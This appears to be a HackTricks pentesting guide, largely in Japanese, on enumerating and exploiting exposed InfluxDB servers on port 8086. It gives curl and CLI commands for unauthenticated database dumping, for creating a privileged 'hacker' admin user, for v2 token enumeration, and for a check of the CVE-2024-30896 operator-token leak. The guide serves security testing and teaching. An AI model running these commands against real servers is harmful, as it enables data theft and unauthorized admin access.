HackTricks8086 - Pentesting InfluxDB
Tip
AWSハッキングを学び、実践する：
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください！
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
InfluxDB は InfluxData によって開発されたオープンソースの 時系列データベース（TSDB） です。TSDB は、タイムスタンプと値のペアからなる時系列データの保存と配信に最適化されています。汎用データベースと比較して、時系列データセットに対して ストレージ容量 と パフォーマンス の大幅な改善を提供します。専用の圧縮アルゴリズムを使用し、古いデータを自動的に削除するように設定することができます。特殊なデータベースインデックスもクエリ性能を向上させます。
デフォルトポート: 8086
PORT STATE SERVICE VERSION
8086/tcp open http InfluxDB http admin 1.7.5
識別とバージョン (HTTP)
- v1.x:
GET /pingはステータス204を返し、X-Influxdb-VersionやX-Influxdb-Buildなどのヘッダを含む。 - v2.x+:
GET /healthはサーバーのバージョンとステータスを含むJSONを返す。authなしで動作する。
# v1 banner grab
curl -i http://<host>:8086/ping
# v2/compat health
curl -s http://<host>:8086/health | jq .
ヒント: 公開されているインスタンスは多くの場合、Prometheus-style のメトリクスを /metrics で提供しています。
Enumeration
From a pentester point of view this another database that could be storing sensitive information, so it’s interesting to know how to dump all the info.
認証
InfluxDB は認証が必要な場合と不要な場合があります。
# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal
もしあなたが このようなエラーを受け取る: ERR: unable to parse authentication credentials、それは 何らかの認証情報を期待している という意味です。
influx –username influx –password influx_pass
influxdbには認証をバイパスできる脆弱性がありました: CVE-2019-20933
手動列挙 (v1 HTTP API / InfluxQL)
CLIが利用できない場合でも、HTTP APIは通常ポート8086で公開されています。
# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"
# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"
# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"
# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"
# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"
# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .
# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'
Warning
authentication bypassを使った一部のテストでは、テーブル名を二重引用符で囲む必要があることが確認されました。例えば:
select * from "cpu"
authenticationが無効な場合、ユーザーを作成して権限を昇格させることさえできます:
# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"
The information of the following CLI example was taken from here.
データベースを表示
見つかったデータベースは telegraf と internal です（後者はどこにでもあります）
> show databases
name: databases
name
----
telegraf
_internal
テーブル/measurements を表示
The InfluxDB documentation は、InfluxDB における measurements が SQL テーブルに相当すると説明しています。これらの measurements の命名法はそれぞれの内容を示しており、各 measurements は特定のエンティティに関連するデータを格納します。
> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system
列/フィールドキーを表示
フィールドキーはデータベースの列のようなものです
> show field keys
name: cpu
fieldKey fieldType
-------- ---------
usage_guest float
usage_guest_nice float
usage_idle float
usage_iowait float
name: disk
fieldKey fieldType
-------- ---------
free integer
inodes_free integer
inodes_total integer
inodes_used integer
[ ... more keys ...]
Dump Table
最後に、次のようにしてdump the tableを実行できます。
select * from cpu
name: cpu
time cpu host usage_guest usage_guest_nice usage_idle usage_iowait usage_irq usage_nice usage_softirq usage_steal usage_system usage_user
---- --- ---- ----------- ---------------- ---------- ------------ --------- ---------- ------------- ----------- ------------ ----------
1497018760000000000 cpu-total ubuntu 0 0 99.297893681046 0 0 0 0 0 0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
InfluxDB v2.x API (Token-based)
InfluxDB 2.x は token-based auth と新しい API を導入しました（デフォルトでは依然としてポート 8086）。トークンを入手した場合（leaked logs, default deployments, backups）次の情報を列挙できます:
# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"
# Health & version
curl -s http://<host>:8086/health | jq .
# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .
# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .
# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .
# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'
注記
- v1.8+ では、一部の v2 互換エンドポイント (
/api/v2/query,/api/v2/write,/health) が存在します。これはサーバが v1 でも v2 形式のリクエストを受け付ける場合に有用です。 - v2 では、HTTP の
AuthorizationヘッダはToken <value>の形式である必要があります。
自動列挙
msf6 > use auxiliary/scanner/http/influxdb_enum
Recent vulns and privesc of interest (ここ数年)
- InfluxDB OSS 2.x から 2.7.11 にかけてのオペレータートークン露出 (CVE-2024-30896)。特定の条件下で、デフォルト組織の authorization リソースへの読み取りアクセスを持つ認証済みユーザーが、インスタンス全体のオペレータートークンを一覧表示および取得できる可能性がありました（例:
influx auth lsまたはGET /api/v2/authorizations）。そのトークンがあれば、攻撃者はインスタンス（バケット、トークン、ユーザー）を管理し、組織間のすべてのデータにアクセスできます。修正ビルドが利用可能になったらアップグレードし、通常ユーザーをデフォルト組織に配置しないでください。簡易テスト:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
- 多くのレガシーな1.xデプロイメントは、インターネット上で
/queryと/writeを認証なしで公開したままになっています。認証が無効になっている場合、時系列データを自由にダンプしたり改ざんしたりできます。また、上記のように admin users を作成することも可能です。CLIがブロックしていても、必ずHTTP APIで確認してください。
参照
- InfluxData docs: InfluxDB v1/v2 HTTP API リファレンス（
/ping、/health、/query、/api/v2/authorizationsのようなエンドポイント）。 https://docs.influxdata.com/influxdb/v1/tools/api/ - CVE-2024-30896 — InfluxDB OSS 2.x における operator token の露出。 https://www.wiz.io/vulnerability-database/cve/cve-2024-30896
Tip
AWSハッキングを学び、実践する：
GCPハッキングを学び、実践する：HackTricksをサポートする
- サブスクリプションプランを確認してください！
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。